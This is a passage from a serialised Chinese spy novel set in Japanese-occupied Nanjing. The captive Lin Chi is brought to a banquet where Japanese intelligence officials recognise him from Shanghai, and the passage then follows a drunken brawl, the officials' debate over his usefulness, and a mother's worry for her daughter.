“刘桑倒提醒我了,不看了,岩井君肚子肯定饿了,抓紧时间吃饭去!” 渡边赶紧把手缩回。 “就是!”岩井再次把身子倚在椅背上,微微闭上了眼睛。 …… 绿柳居的老板张尔鹤闻听松机关的黑木即将光临,照例站在店外路边候迎。 黑木一行一到,张老板立即将众人引进二楼最大的包间。渡边放好行李跟着张老板下楼,边走边问:“张老板的电话在哪里,我需要用一下电话。” 一分钟不到,渡边便联系妥当,于是上楼进了包间,众人已开始品茗吹牛,黑木见渡边进来,问:“通知到那位林先生了吗?” “武内答应安排人开车赶来,承诺半小时把人带到。” 这句话进了岩井的耳朵,饶有兴致问:“这位林先生果真知道山口君遇刺的细节?” “山口君遇刺当天这位林先生正从上海赶回南京。” “这么巧?”岩井把端在手里的茶杯搁在桌上,“他有交代吗?” “他在供词里说,山口的遇害极有可能是上海的共党组织所为。” “证据确凿?” “不尽然,只是他的某种推测,我觉得不无道理。” “他怎么会出现在上海呢?”岩井一定要打破砂锅问到底。 “说来话长,这位林先生前往上海居然是为了完成共党交办的一件任务,他本身是重庆方面的,你说可笑不可笑?岩井君,别怪我没提醒你,看来中国的国共两党已沆瀣一气了!” “这我早就有过判断,去年年初,我还提醒那些少壮派的军官,让他们定要考虑这样的因素,可是被他们当作耳旁风。” “是啊,帝国的激进派总是低估战争的风险,做起事来几乎不计后果!” 岩井长叹一口气,“不提这些了,你倒说说这位林先生去上海作甚?我很有兴趣知道。” “此人有一女友,乃为南京共党组织的一名发报员,你说共产党滑不滑稽,真是无所不用其极,为了达成目的,竟然厚着脸让她出面说服男友,替他们去完成一件接头任务……” “具体什么任务?”岩井又问。 这句话也勾起了黑木无限悲凉的回忆,他想起天皇的那份问责电报,也长叹一口气:“还不是前不久闹得沸沸扬扬的文化掠夺泄密事件,始作俑者就是这位林先生,我没有堵住这样的漏洞,我黑木难辞其咎!” 岩井安慰道:“黑木君不用太介怀,这件事情大本营早就忘了,您现在的功绩不早就盖过了那些过失吗?比如说刘将军的归顺,除了您黑木君,还有谁能比肩?” “但愿如此!”黑木朝刘云雄友善一笑。 刘云雄表情尴尬,竟不知如何说好。 “再说,亡羊补牢,您现在不是抓住始作俑者了吗?,对了,黑木君如此了解细节,是不是那位女共党也被你抓获了?”岩井一边宽慰一边进一步询问。 “是的抓住了!”渡边不甘寂寞,抢着替黑木答道,顿了顿补充道:“不但抓住了,我们还准备在本周的授勋仪式上,对她进行惩戒!” “是吗?”岩井瞪大了眼睛,“此人没有挖掘的价值了吗?” “不是……”黑木无可奈何道,“实乃这个女人太顽固!” “刑罚不管用?她只是个女人啊!”岩井不信。 渡边厌烦地摆摆手,咬牙切齿道:“这个叫曲思秋的女人太死心眼,不杀不足以解气!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第200章 “故人”相见 渡边脸上布满的肃杀之气一下子让气氛凝重起来,房间里出现了短暂的沉默。 黑木率先打破尴尬,咳嗽一声,和刘云雄搭讪起来。 “我下午在老虎桥监狱审讯完毕,听武内说你回松机关了,可回去后怎么没看到刘桑在办公室?” “我先是回去了,后来想起一事,就去找下关区公所的薛飞风薛所长,向他了解了一些情况。” “找他何事?” “是这样的,我们上午到了老虎桥监狱,您在审讯的时候,我走访了一下关押犯人的监区,正如您所言,这里收押的绝大多数都是国军士兵,在我看来,这些人尽管不是根红苗正,或许也会对帝国有抵触情绪,但我个人认为,他们本性不坏,只要稍加教化,完全可以为我所用。据我对目前的形势判断,像中岛的第十六师团,谷寿夫的第六师团,稍作休整后恐怕不日后会西进向武汉方面进击,帝国在南京城的治安方面,不可能一味依赖野战部队,也不允许投入更多的兵力,而很大程度上,需要提高我们的自我管理,所以当务之急是促使警卫军形成战力,这也是松井将军等人成立南京警卫军的初衷……” “刘将军不愧黄埔出身,对形势分析一针见血!”岩井赞道。 黑木嘉许地看着刘云雄,期望他的下文。 刘云雄饮了一口茶,不疾不徐说道:“薛所长原是南京警察厅的副厅长,曾经管理着南京市民的户籍,我此去想寻求他的帮助,以便对所有本土的南京籍士兵逐一审查,包括重新招募入伍的当地青年也能做到来路清晰,当然,不可能不鱼龙混杂,但我想尽可能降低风险!” “嗯,很好!”黑木频频点头,又问:“薛桑怎么说?” “他很热情,一口答应了。” “对了,这个薛所长你原先认识吗?” “有过数面之缘,但没有深交。” 黑木还想问话,服务员敲门进来。 一道道精致的全素菜肴很快传递上来。 在上菜期间,岩井起身上洗手间去了。 岩井刚走,张老板突然探进脑袋,对黑木说道:“将军,楼下有人找渡边小姐。” 渡边弹起身,呵呵笑道:“正好,一定是那位林先生带到了。”说完疾步走下楼去。 楼梯口,武内一身戎装仰头向楼上张望,看到渡边从楼梯下来,立即闪到一旁,这时林赤从他的身后现出身子,在林赤的两旁,两名全副武装的日本士兵不苟言笑。 武内堆着笑急切说道:“少佐,你要的人我已经带到。” “烦劳武内典狱长亲自走一趟,实在不好意思喽!” “哪里,渡边小姐有些交待的事,我哪敢怠慢!” 两人虽然你一言我一语交谈,但渡边的目光一直落在林赤身上,甚至都没看武内一眼。待她从武内身边擦过,才看到林赤双手依旧被手铐禁锢,马上略显不满埋怨道:“林先生已经是自己人了,典狱长怎么还给他戴着手铐?” 武内顿时吞吞吐吐起来,急忙辩解道:“……林先生到底如何处理,你们没有交代……我是怕万一有意外,我万万担当不起……” 渡边并未作答,在林赤面前站定,两只眼睛把他上上下下打量个遍。 林赤眼帘低垂,不知是人已倦怠,还是不想看到渡边,整个人像是木雕一般,站在原地一言不发。 渡边蓦然就产生了捉弄他的念头,恨不得马上狠狠地捏他一下,伸手欲托起他的下巴,手刚触及他的他的脸庞,林赤下意识要挥手拂开渡边,发现双手已被固定,不得已后退数步,躲开了她的手。 渡边略显失望道:“林先生还在生我气?” 林赤依旧缄默不语。 “好了,武内君把他带上来吧,顺便和黑木将军打个招呼。”渡边忽然意兴阑珊起来。 黑木坐在主位,脸正对包间大门,武内一进房间,第一眼便看到了黑木,连忙提高嗓门说道:“报告将军,林先生带到!” 黑木微笑着点点头,“武内君辛苦了。先来见过帝国上海领事馆的岩井先生以及领事馆的两位朋友……”黑木站起身,一一替武内介绍。 和在场所有人打过招呼后,武内身体缩进门后,扭头对门外的两名属下道:“把他带进来吧!” 林赤被从门外推到门口,他的脚步在进门的一刹那停了下来。 “林先生请吧。”武内面对林赤说道,伸手拉了一下他的衣服,却发现他的身体僵硬,似乎极不情愿出现在这样的场合。 后面的狱警见状使劲推了他一把,林赤一个踉跄,踏进了包间。 所有人的眼睛齐刷刷盯着他。 这个时刻,林赤才发现屋内济济一堂,所有人都围坐在一张餐桌旁,或好奇或审视或亲切或冷峻的目光纷纷落在他的身上。 “林先生,快快请坐!”黑木绕过半边桌子,亲自前来引他入座。刚走近林赤,就看到了他手上手铐,赶忙命令道:“武内君,快把林桑的手铐解了,从此之后林桑是自己人了!” 本小章还未完,请点击下一页继续阅读后面精彩内容!除去手铐的林赤活动活动了双手,终于挪动脚步跟着黑木并在他身边坐下。 “林桑,数小时不见,你怎么看起来生分了?”黑木一边替林赤铺开餐巾、摆开餐具一边说道。 …… 林赤目光快速巡视一圈,扭头看了一眼黑木,正要回话,忽然觉得斜对面有一双眼睛一直在观察自己,他忽然想起,从他进门到现在,这双紧紧盯着自己眼睛就从来没有离开过他。 他的目光中,充斥的并非好奇,也不同于在座所有人的淡定,狐疑中透出一丝阴沉,阴沉中透出一股峻冷。 林赤忽然间觉得背脊发凉。 他眉宇间的神色竟是那么熟悉,总觉得在是哪里见过,可他已不记得了。 “这么热烈的场面,黑木将军是特地为我准备的吗?”林赤一面提起茶壶给自己倒满了水一面问,目光又巡视一圈,很自然地从斜对面那名中年男人的脸上再次滑过,端起茶杯一口把茶水喝干。他的脑海中开始快速思索这张似曾相识的脸庞。 “就算是吧……” 黑木口气并不坚定。 “在我看来,能和将军一起共进晚餐的人,非富即贵,我乃有罪之身,如此大的阵容实在让我惶恐……”说着林赤忽然打住,眼睛绕过黑木,目光落在紧挨他的空位上,问:“将军旁边是不是还有一位客人?” “嗯,是啊,岩井先生去洗手间了。”黑木补充了一句。 林赤的目光又扫过袁塑和上野明,不由又问:“这两位朋友我从未见过,将军能否给我介绍一下?” 渡边忙站起来,指了指袁塑道:“这位是上海领事馆的总领事岩井先生的得力干将,袁塑袁桑……” “哦,原来是来自上海的朋友,都是帝国的栋梁之才。”林赤对隔着黑木的袁塑微微点头问候。 袁塑也跟着淡淡一笑。渡边又指了指上野明,正要介绍,上野明忽然先开口了, “这位林先生我好像在哪里见过?”他的语气奇冷无比。 至此,林赤才得以正视那双阴鸷的眼睛。从他发现那双眼睛在暗暗关注自己的时候,脑子就一直没有停止运转,可惜他怎么也回忆不起来了。 “您认识我?”林赤一副不信的样子。 渡边的手停在空中,听到这里,连忙垂下手臂,好奇道:“上野君不会搞错吧,林先生和您一个在南京,一个在上海,怎么可能见过面呢?” “上野?”林赤的心中咯噔一下,这个名字很耳熟,好像在哪里听说过。 黑木不自觉地放下手中的茶杯,一脸疑惑,目光在他们二人脸上反复游过。 “我相信我的直觉,我和这位林先生一定谋过面,只是我一时想不起来了!”上野明口气坚定。 空气顿时凝固,包括川上以及刘云雄在内的所有人都把眼神聚焦在林赤身上。 就在这时,房间门被人推开,岩井从外面走进,大力挥手意图甩干手上的水滴。在往自己座位走来的时候,他很自然就发现了黑木身旁多了一个人。 “黑木君,这位就是林先生?”岩井的话打破了沉寂。 “是的,他也刚刚到。”黑木答道。 林赤借机站起身来,朝岩井鞠了一躬,“岩井先生好……”他抬头之际,忽然看到了又一张熟悉的脸庞。 他们的目光开始相遇,岩井脸上风轻云淡的神情忽然换成一种讶异,他脚步越来越缓慢,在林赤面前停下,喃喃道:“这位林先生好眼熟啊!” 这一次,就连渡边也满腹疑云。 毫秒之间,林赤茅塞顿开,岩井的名字和眼前的这张脸忽然紧密联系了起来。他终于想起,那次上海之行,他和这位岩井先生的确见过,不仅见过,他们之间还有过交流,不仅有过交流,他还给他敬过酒。 那次是因由黄埔商行的白老板的一次宴请,在沪上人家饭店,他们得以相见,也正是那次相见,他意外地偷听到了他们的谈话、从而得知刘云雄之妻将会被他们押解南京的消息,这才有了后面的林林总总。 也就在那一瞬间,上野这个名字被他从记忆深处挖掘出来,这个名字是出自于白老板之口,尽管那次上野也出现在那家饭店里,但林赤只闻其声未见其人。 脉络顿时清晰起来,原来这位上野明便是在《申报社》带队抓捕赵楷的那位日本人,在解救赵楷发生枪战时,林赤和他有过短暂的照面,当时他们相距不足十米,时间过去这么久,难得他居然对林赤的这张脸还有印象。 林赤僵立原地,似乎在极力回忆着什么。 他突然一拍脑袋,豁然开朗起来,伸手和岩井紧紧相握,忙不迭声道:“原来岩井先生是您啊?” 岩井错愕地看着林赤,尽力在思考。他机械地握着林赤的手,还是没有想起来。 是啊,由于他所处的位置,每天阅人无数,在沪上人家仅仅一面之缘的一次与自己毫不相干的点头之交,他又如何能迅速记起呢? “岩井先生,您还记得沪上人家吗?那是一家饭店,在虹口区……”林赤进一步提醒。 岩井继续费解地盯着林赤。 “再想想,黄埔商行的白老板,我和白老板给您敬酒过……” “哦……”岩井终于恍然大悟,和林赤相握的手有了反应,“原来是林先生啊……”他又重新把林赤打量了一遍,不禁问道:“你怎么……”他似乎不敢相信眼前的林先生会成为帝国的阶下囚。 林赤抽出手,一脸羞愧。 岩井并不介意的样子,爽朗一笑,双手按住林赤的双肩,示意他坐下。 林赤这才坐下,立即转向上野,试探问道:“那次沪上人家,我去岩井先生的包间敬酒,上野君恐怕也在吧?” 岩井不解林赤为何有此一说,向林赤投来疑惑的目光。 林赤赶忙解释,“上野君刚刚和我说起,他觉得我面熟。” 上野凝着眉,看得出他在思索着什么。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第201章 灯红酒绿 菜已上得差不多,摆得满满一桌。 不少人已经饥肠辘辘,时不时瞟着桌上的菜肴,既然本次宴会的主人黑木似乎并无动筷的意思,只得强忍着菜香飘过的诱惑。有人偷偷地瞧着黑木,发现他对上野和林赤之间的那档子事更为关切,浑然忘记了早已过了晚饭的饭点。 所有的目光均聚集在上野的脸上,期望他赶紧说点什么,可是上野还在思索,或许因为时隔太久,他确已想不起来了。 黑木比谁都希望林赤能给一个合理的解释,但此刻他不能表现得太急切,以免被众人轻看,便佯装漫不经心说道:“我哪里想到,原来岩井君和这位林先生居然认得,呵呵,世界真小,人和人之间其实总有那么一些千丝万缕的联系……”说着说着又一本正经起来,“岩井君,你倒说说,你当初和林先生相逢之际,会想到若干天后会有这么一天,你们能够在南京得以见面?还是以这样的方式?” “我做梦也没料到!”岩井摇摇头,直抒胸臆:“黑木君提醒我了,看来人和人之间是有缘分的,冥冥中早有定数……” 黑木又装作若无其事问岩井:“岩井君和林先生在沪上人家谋面那天,具体日期还记得吗?” “让我好好想想……”岩井也觉得这件事的重要性,仰头看着天花板,一边冥思着一边在嘴里念叨着,“……林先生……沪上人家……白老板……敬酒……”他的思维跳跃,极力想把几个重要因素联系起来。 俄顷之间,岩井忽然从椅子上弹跳起来,抑不住兴奋道:“我想起了,想起了……” 黑木情不自禁追问道:“想起什么啦?” “那天是正金银行的总经理请客……”岩井的脑子里开始有了线索,他有自己独到的解题思路。可以断定,他的每一顿公开场合的饭局,共同赴宴的随员里面,必定有一人充当着埋单的角色,显然白老板扮演着这样的角色,启发来自于既然白老板同时出现在沪上人家,为何并未埋单,经过他这么一反推,答案只有一个:那一次饭局,有人捷足先登了。 “……哦对了,那天上野君的的确确在饭店出现过,我们获得一个重要的情报,《申报》社的广告推广科的负责人是一名共党头目,我命令上野君前去抓捕,然后我们就在饭店等他凯旋归来……”事实证明,只要解题思路方向正确,所有的问题都会迎刃而解。 上野终于不再独思,他已跟上了岩井的思路。 “您是说我带队抓捕李景轩那天,您和这位林先生在沪上人家相遇的?” “对对,那共党头目叫李景轩,就是那天!”岩井也记起了这个人。 “李景轩?”一旁的林赤不由得重复了一下这个名字。 “怎么,林先生认识此人?”上野凝视着林赤。 不但是林赤,渡边和黑木也同时想起了林赤供词里曾提起过一位叫做李景轩的共产党头目。 “岂止认识?”林赤故意卖了个关子,不慌不忙端起茶杯浅呷了一口茶水,并没有急于回答。 “或许就是此人带队截杀了山口君!”渡边连忙发表自己的看法。 “到底怎么回事?”岩井再也无法淡定。 渡边刚要回答,无意中看到黑木在给她使眼色,便收声不语。 林赤放下茶杯,接过岩井的话答道:“和岩井先生见面后的第二天,我和同伴回南京了,乘坐的是共党组织提供的一辆轿车,当时轿车上除了司机外还有一人,此人就是李景轩……” “你是说李景轩和你一起到南京城了?”上野高声斥问。 “千真万确,我被抓前他还去照相馆找过我!” “哦?此人逃到南京了?”上野呐呐自语,蓦然想到一处破绽,迫不及待又问:“那渡边小姐何以判断山口君之死就是共党所为?” 渡边急切看了林赤一眼,希望林赤给他们一个答复。 “临行那天早晨,一共是两辆车出现在我们入住的旅馆,我们和李景轩坐在第一辆车上,可出城后不久,后面的一辆车就不见了,据我了解,不久后山口君的座驾曾在南京城里出现过……” “仅凭这一点,你就断下结论?” “我可没有下什么结论,我只是说出了当天的实际情况。至于当天山口君一行到底遭遇了什么,要靠你们去寻找证据,将罪魁祸首绳之以法!” “会的,我们一定会替山口君报仇!”上野恨恨说道。 这又是一个无休无止的话题,至此,黑木已大致理清了他想知道的一切,眼看菜肴渐渐冷去,他终于拿起筷子,率先给岩井夹了一块“三丝素刀鱼”,开始招呼大家用餐。 围坐在桌旁的人们不再矜持,纷纷举筷。 上野看中了面前的一只“鸡”,他用不惯筷子,举起叉挖出一块,送到嘴里连连咀嚼,刚嚼了几口却吃不出鸡应有的滋味,正自纳闷,刘云雄看出他神态有异,笑道:“上野君不会以为是真鸡吧?” 本小章还未完,请点击下一页继续阅读后面精彩内容!“难道不是吗?” 刘云雄对这家店已不陌生,上一次曾和黑木一道光临过,听毕哈哈大笑起来:“这就是绿柳居的特色之处,这里所有的菜肴都没有一丝荤腥,完全是素菜荤做,你所吃的,是用豆腐皮、腐竹、面筋以及中药调料制作的‘鸡’,怎么,是不是可以乱真?” “假的就是假的,是根本乱不了真的!”上野斩钉截铁说道。 黑木听他的意思,似乎另有所指,兴趣盎然道:“那上野君不妨说说看,在你眼里,什么是真的,什么是假的?” “哼哼,假的真不了,真的假不了!” …… 这顿晚宴陆陆续续吃了三个多小时方才结束,众人兵分四路,作鸟兽散。 林赤被武内继续带回老虎桥监狱。 武内向众人告别时,黑木特地把他叫到一边,吩咐他不用对林赤再加固手铐,要让林赤感受到帝国和他即将合作的诚意。 刘云雄和渡边以及川上三人上了一辆车,向黄浦路方向而去。 上野和袁塑一道,去警备司令部附近的军部招待所。 黑木和岩井携手上了另一辆车,他们要去位于鼓楼的帝国设在南京的总领事馆,在那里,有一间早已替岩井准备妥当的客房,供他这几天在南京的生活起居之用。 黑木之所以没有回憩庐,而是和岩井一同前往南京总领事馆,这是因为他们之间还有很多私密的话题没有聊透,他要和他秉烛夜谈。除此之外,在林赤这件事上,他还有些疑问,想听听他的看法。 那钩弯月早已远遁,夜色漆黑如墨,三辆挎斗摩托裹夹着一辆轿车,在寂寥的大街上风驰电掣。 十分钟后,轿车驶进总领事馆。 就在不经意间,耀眼的繁华铺陈在他们面前。在鼓楼广场西南侧一大片区域,霓虹闪烁,人流络绎不绝,虽然已是夜间十点,南京城的大片地方也已陷入了迷离的夜色中,唯有此处,依旧灯红酒绿。 这是一块专门针对日本人开放的伊甸园。 以总领事馆为中心,在这片方圆一公里不到的区域,包罗着咖啡馆、菜馆、居酒屋、澡堂、舞厅等形式多样的消遣场所,从南京失陷至今两个月不到的时间,它们如雨后春笋般冒了出来,而光顾的客人也绝大多数是日军人,毫无疑问,它的迅速崛起成了那些身在异国他乡的日军官兵用来派遣空虚寂寞的乐土。 不时有形形色色的车辆驶进驶出,那是高阶军官的座驾,而对于普通的日军士兵而言,挎斗摩托是他们最奢侈的代步工具。 不时有酒醉的日军士兵相互搀扶从酒馆里出来。 此情此景,一下子让萎靡的岩井振奋起来,他如沐春风般摇下车窗玻璃,向黑木发出了邀请,“黑木君,我请你喝上几杯如何?” “真是个不错的主意。”黑木也来了精神。 “长夜漫漫,把酒言欢,醉而忘忧,人生不过如此。”岩井把脑袋伸出窗外,四处寻觅一处合适的买醉之地。 “我本有此想法,但担心岩井君旅途劳顿,生怕叨扰你休息,既然岩井君有此一说,我黑木舍命陪君子。” “如此甚好!”岩井的目光落在不远处一栋两层的建筑,流光飞舞的店招上,变幻着三个字:木屋居。岩井马上指了指询问黑木:“那儿有一家木屋居,我们进去坐坐?” 轿车在木屋居门前找了一处空地停了下来,岩井和黑木一前一后下了车,正要推门入内,两名东倒西歪的日军军官拎着酒瓶出来,一头撞上匆匆入内的岩井,岩井刚要发作,那两名日军军官抬头,朦胧中看到是衣着普通的岩井,根本没把他放在眼里,其中一人先发制人,高声喝斥一句:“八嘎,眼睛瞎了吗?” 岩井看了看他们的肩章,一名中尉一名上尉,对他咆哮的这名中尉长着一张娃娃脸,看年纪怎么也才二十来岁,但发起怒来眼睛里凶光四射、气势如虹。 岩井怒不可遏,挥手对那名中尉就是一记耳光。 这记耳光清脆响亮,一下子把对方打懵了。 后面的那名上尉愣了一下,他没想到眼前的这名中年人会率先动手,而且出手很重,顿时从后面蹦跳出来,想都没想,举起手中的酒瓶朝岩井狠狠砸过来。 他的手才举起,忽然被一只孔武有力的大手紧紧握住,手扬在空中,再也不能前进一步……这名上尉歇斯底里狂喊一声,正要用尽吃奶的力气,忽然对方“咦”了一声,接着只听到对方厉声责问道:“稻田君,你怎么会在这里?” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第202章 露出马脚 这声音对于稻田来说,何等熟稔,在他听来不啻于晴天霹雳,脑袋“嗡”的一声,顿时醉意全无。 稻田定睛一看,果是他的上司、位居松机关的权力之巅的黑木将军,手中的酒瓶怎么也把握不住,从空中坠落,破碎的玻璃渣四下飞溅。 “将军……怎么是你?”稻田极度慌张,竟然语无伦次起来。 “八嘎!”黑木抬手抡过一记耳光。 稻田一个趔趄,跌跌撞撞扑倒在地。 “难道我不能出现在这里吗?”黑木使劲朝稻田踢了一脚,面朝另一名中尉,把他上上下下打量个遍,皱着眉问道:“你是哪个部分的?” 中尉尽管酒意醺醺,已达到七八分醉意,但稻田的话让他一下子清醒,他知道今天惹上麻烦了,居然得罪了一名将军,不禁有些腿软,话也颤抖起来:“报告将军……第十六师团下属步兵第二十联队第三大队少尉……不……中尉田中毅……” “中岛的第十六师团?你叫田中毅?还是一名中尉?”黑木冷冷地道。 “是的,将军!” “你知道你对面的是谁吗?”黑木忽然提高了声音,“他是我帝国上海领事馆总领事岩井先生,就连你们的中岛将军都要敬他几分,你一个小小的中尉,蛮横跋扈,夜深不归、酗酒闹事,还极端无礼,你说说,中岛给了你几个胆子?” “请将军原谅!”田中毅深深地鞠了一躬。 “八嘎,你需要道歉人的是岩井先生!” 田中毅赶紧又对岩井鞠了一九十度的躬,“先生,请你原谅!” 岩井倒不是一个很计较的人,既然黑木帮他教训了这两个无礼之徒,他不想深究下去,拉了拉黑木道:“黑木君,咱们进去喝酒,不用管他们,不要让他们坏了我们的雅兴!”说着迈开步伐,才走几步发现黑木并未跟上,回头一看,却见黑木依旧站在原地,不得不返身回来。 黑木还有疑问,不想就此罢休,看了看垂头丧气的田中毅又问:“你怎么会和稻田在一起?你们原先就认识?”说着黑木忽然想到了什么,又补充了一句:“……我想起来了,稻田原来就是你们第十六师团的,他是后来才调到了松机关,是吗稻田君?”黑木扭头询问稻田勇。 “是的将军!”稻田已从地上爬起来,正了正身子。 “你原先在中岛那里担任什么职务?” “报告将军,师团部通讯处处长。” “原来如此……”黑木颔首,却又把脑袋转向田中,还没问话,田中赶紧说道:报告将军,我和稻田君是同乡,都是来自于奈良县……” “同乡?这就是你们醉生梦死的理由?你们难道都糊涂得以为占领了南京就高枕无忧了吗?难道你忘了作为一名大日本帝国的勇士所肩负的使命了吗?难道你忘了帝国未竟的伟大事业了吗?”黑木声色俱厉。 “不!”田中毅心底突然漾出无尽的勇气,大胆地直视黑木,“不是这样的!将军可以处分我,但请不要诋毁我的忠诚!” 他的声音愈加坚定起来,“我是第十六师团第二十联队最年轻的中尉,就在今天,我由少尉被晋升为中尉,如果不是因为我的勇敢和无畏,不是因为我屡建功绩,我想这样的殊荣是无缘于我的!” 看到年轻的中尉委屈得双目涌现泪光,黑木声音缓和了下来,语气也轻柔不少,“好了,我知道田中君是一位对荣誉看得很重的优秀军官,不过你要记住,切切不可降低对自己的要求!” “我没有,稻田君只是向我请教如何冲洗照片……”还没说完,稻田慌慌张张跻身上前,抢着替田中答道:“是这样的将军,都是我的错,我听说田中君晋级中尉,特地约他请我喝酒……”他的话也没说完,黑木一把拂开他的身子,以一副不容拒绝的口吻命令田中:“你说,到底怎么回事?” 田中看了一眼稻田,大义凛然地昂首道:“这有什么好抵赖的,事实就是这样,稻田君的确是来向我请教如何冲洗照片的!” “冲洗照片?”黑木一脸狐疑,看看稻田又看看田中,继续追问:“他为何学习冲洗照片?他是一名电讯专家,学冲洗照片有个屁用!”黑木推了一下稻田,正色问道:“稻田君,告诉我为何要学冲洗照片?难道你觉得在我手下委屈了你,想改行当战地记者?” 稻田支支吾吾起来。 “田中君,看你年纪也不大,冲洗照片这样的技术活你也会?” 田中自豪道:“将军小看我了,别看我年轻,入伍前我已经在奈良县的一家照相馆当了三年的学徒,最后一年老板已把照相馆交由我打理……如果不是应征成了一名帝国的士兵,老板的女儿良子小姐将会成为我的妻子,不信您可以问问稻田君?” 稻田不得不连连点头。 黑木再也问不出问题,虽然心中有很多不解,但又不知从何问起,只得拂袖而去,临走前,他对稻田抛下了一句话。 “稻田君,按理这个时候,你应该呆在松机关的电讯股里,不放过任何一个出现在这座城市夜空中的电磁信号……今天我不打算追究你,但我希望从今以后你干好本职工作,千万不要胡思乱想!” 本小章还未完,请点击下一页继续阅读后面精彩内容!说完这些,黑木和岩井双双进入木屋居。 一名一直伸着脑袋透过玻璃看热闹的侍者赶紧把脑袋缩回,换成一脸灿烂的笑容,热情洋溢地把二人引到一张靠近窗前的卡座旁。 岩井点了两壶清酒。 侍者一走,岩井说道:“黑木君,那名稻田上尉心中有鬼呀!他好像在极力隐瞒着什么!” “岩井君从哪方面看出来?” “既然是讨教照片冲洗技术,不用如此紧张吧,更不用藏藏掖掖啊!” 黑木微微一笑,“此人我太了解了,不但自卑,还有些神经质!” “是将军对他要求太严苛吗?以至于他都不想对你吐露实情?” “或许吧……”黑木若有所思答道。接过侍者递来的酒,开始给岩井斟酒。 两人轻碰了一下酒杯,异口同声说了一个字:“干!”然后同步把酒杯凑近嘴唇,一饮而尽。 黑木先是叹了口气,无限感慨说道:“岩井君,我们二人从相识到相知,不可谓不说是一种缘分,我们都是明治三十一年生人,大正五年一道毕业于东亚同文书院18期商务科,你说,这样的机缘巧合如何能强求来?” “是啊,要说我俩的交情,在我岩井眼里无人可替!” “故而,我希望在今后的道路上,我们能够相携相勉,共同成就一番事业!” “这一点请黑木君放心,我自当尽我所能……我隶属外务省,人脉比你丰富,还经常接触高层人士,我决心与君共进退!” 两人完全是一副坦诚相见的姿态,觥筹交错,你一杯我一杯,浑然已至忘我境地。 时间又过去一个小时,桌上已摆满空壶,二人酒意微醺,黑木忽然以一种谦逊的语气问道:“岩井君,在断人这件事上,你看得比我准,你帮我分析分析,那位林先生到底可不可用?” “林先生嘛……”岩井把玩着手中的空酒杯,开始认真思索起来。 几分钟后,岩井陡然坐正身子,说出了自己的看法。 “林先生嘛……或许是个人才,但这样的人才就看你怎么用了……我不能不说他出现在上海的那一次有太多的巧合,因而我放不下对他的怀疑,我相信这也是黑木君最纠结的地方!不过,退一步讲,如果他果真有些能力,或者说,他果真有些用处,那就需要多加权衡,杀掉他,易如反掌,也一了百了,再无牵挂,断然不用担心有什么负面的后果!可是很多事情判断的依据并不会这么简单,不能套用常规的方法……我从事情报工作这么多年,小有心得,总结起来就四个字:胆大心细!某种意义上来说,这个职业如同冰面行走,如果一味畏首畏尾,你只能止步不前,更美好的风景永远不会看到,所以特工的可贵品质就是冒险,我把它理解为……” 黑木抢口道:“岩井君认为是一种赤裸裸地赌博?” “不,是一种举重若轻的博弈!” 黑木似乎大受启发,“听岩井君的意思是我们不能患得患失喽,一定要当机立断?” “正是!任何一个优秀的特工都是当机立断!”黑木诚恳的态度让岩井很受用,他索性夸夸其谈起来:“当务之急,你要冷静判断林先生存在的价值,且要有风控意识,我不是没有替你想过,也认真梳理了所有的细节,有一点可以肯定,这个人和山口之死必定存在某种内在联系,他和李景轩的交情也不仅仅是点头之交,否则,那位共党头目绝不会冒风险和一个军统的特务同乘一车,同赴南京!” “我懂了!”黑木一口喝光杯中残酒。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第203章 血浓于水 自从那天风雪之夜,曲思秋从三条巷的家里吃完晚饭,和罗蔓赶回诊所至今,已有不少时日。柳兰掐指细细一算,女儿离家已有十余日,她思女心切,天天盼着女儿回家,可女儿犹如泥牛入海一般,杳无音讯。 尤为让她不安地是,这中途,罗蔓小姐和一位赵先生登上门来,探听女儿是否回家,尽管儿子曲思冬后来出门打听,回家后称曲思秋已经无恙归来,但出于母女间那种天性的意念联系,第六感告诉她,女儿可能出了什么事。 女人天生就有一种敏锐的触觉,儿子闪烁的眼神是一方面,另一方面,准儿媳“池橙”知书达理,也很尊敬她和丈夫,平时和柳兰似乎有说不完的话,可每每谈到曲思秋的话题,她不是含混掩饰,就是借故离开,这让柳兰不知不觉产生了一丝不祥之兆,加上她听说那位视如己出的林赤被日本人抓了后,她难过的同时,更多的是对危如累卵的时局萌生出的一种深深地忧心。或许,这样的意外已波及到了女儿。 中午饭后,柳兰小憩了一会儿,居然做了一个离奇的梦,她梦见女儿浑身是血,在空寂的街上狂奔,有五六名面目狰狞的日本鬼子提着枪在后面追赶,眼看女儿被逼进一个死胡同,绝望地向她呼救……到此,她从噩梦中醒来,醒来后她浑身颤抖,坐在床上好半天都没有回过神来。 穿衣下床,柳兰所要做的第一件事,就是敲开了女儿的房间门。 池橙躺在思秋的床上看书,开门后她看到思冬之母趿鞋披衣,一副忧心忡忡的样子,不但如此,她额头上的头发明显被汗水浸泡过,湿漉漉地贴在其上。 “阿姨,你怎么啦?”池橙惊呼。 “橙儿,你要对阿姨说实话,思秋是不是出事了?” 池橙明显愣了一下,表情极不自然,她借故把手中的书搁在桌上,转头的时候,已是一脸笑容。 “阿姨,你怎么会这么想呢?思秋好得很,难道思冬没跟你们说清?” “你不要瞒我了!你是个诚实的孩子!”柳兰表情严肃,进一步套话,企图威逼利诱。 “我哪敢瞒您啊,我所说的句句属实!”池橙信誓旦旦,无论如何,她承担不了泄露秘密所带来的后果。 柳兰顿时泄气了,咕哝一句:“那她怎么也不回家看看我?” “也许思秋姐最近太忙了,您也知道那家小诊所离不开她。”池橙倏然感觉到这一回合下来,她已然胜利了,口气愈加坚定,声音也提高了:“思秋是个外科大夫,战争刚刚结束,需要手术的病人很多,我曾去过她原来待过的应天教会医院,您是没见过,就连走廊上都住满了人!” 或许是自己太多疑了!柳兰暗暗责怪自己。 她趿拉着鞋走出房间, 池橙看到她的背影已至房门口,不禁长长吁了一口气,手刚拍了拍胸口,柳兰蓦然又调转身子。 “曲思冬什么时候回来?”“对手”开始发动第二轮攻势。 “他说办完事马上回家。”池橙坦然道。 “好不容易盼到他回来,总以为他会踏踏实实待在家里,可还是一天到晚不见人影,成天在外乱混,他也不想想如今的时局!”柳兰苛责着儿子,希望这位未来的儿媳感受到她的权威。 “是啊,我也不止一次说过他,可他听不进去!”池橙终于找到了知音,连声附和。 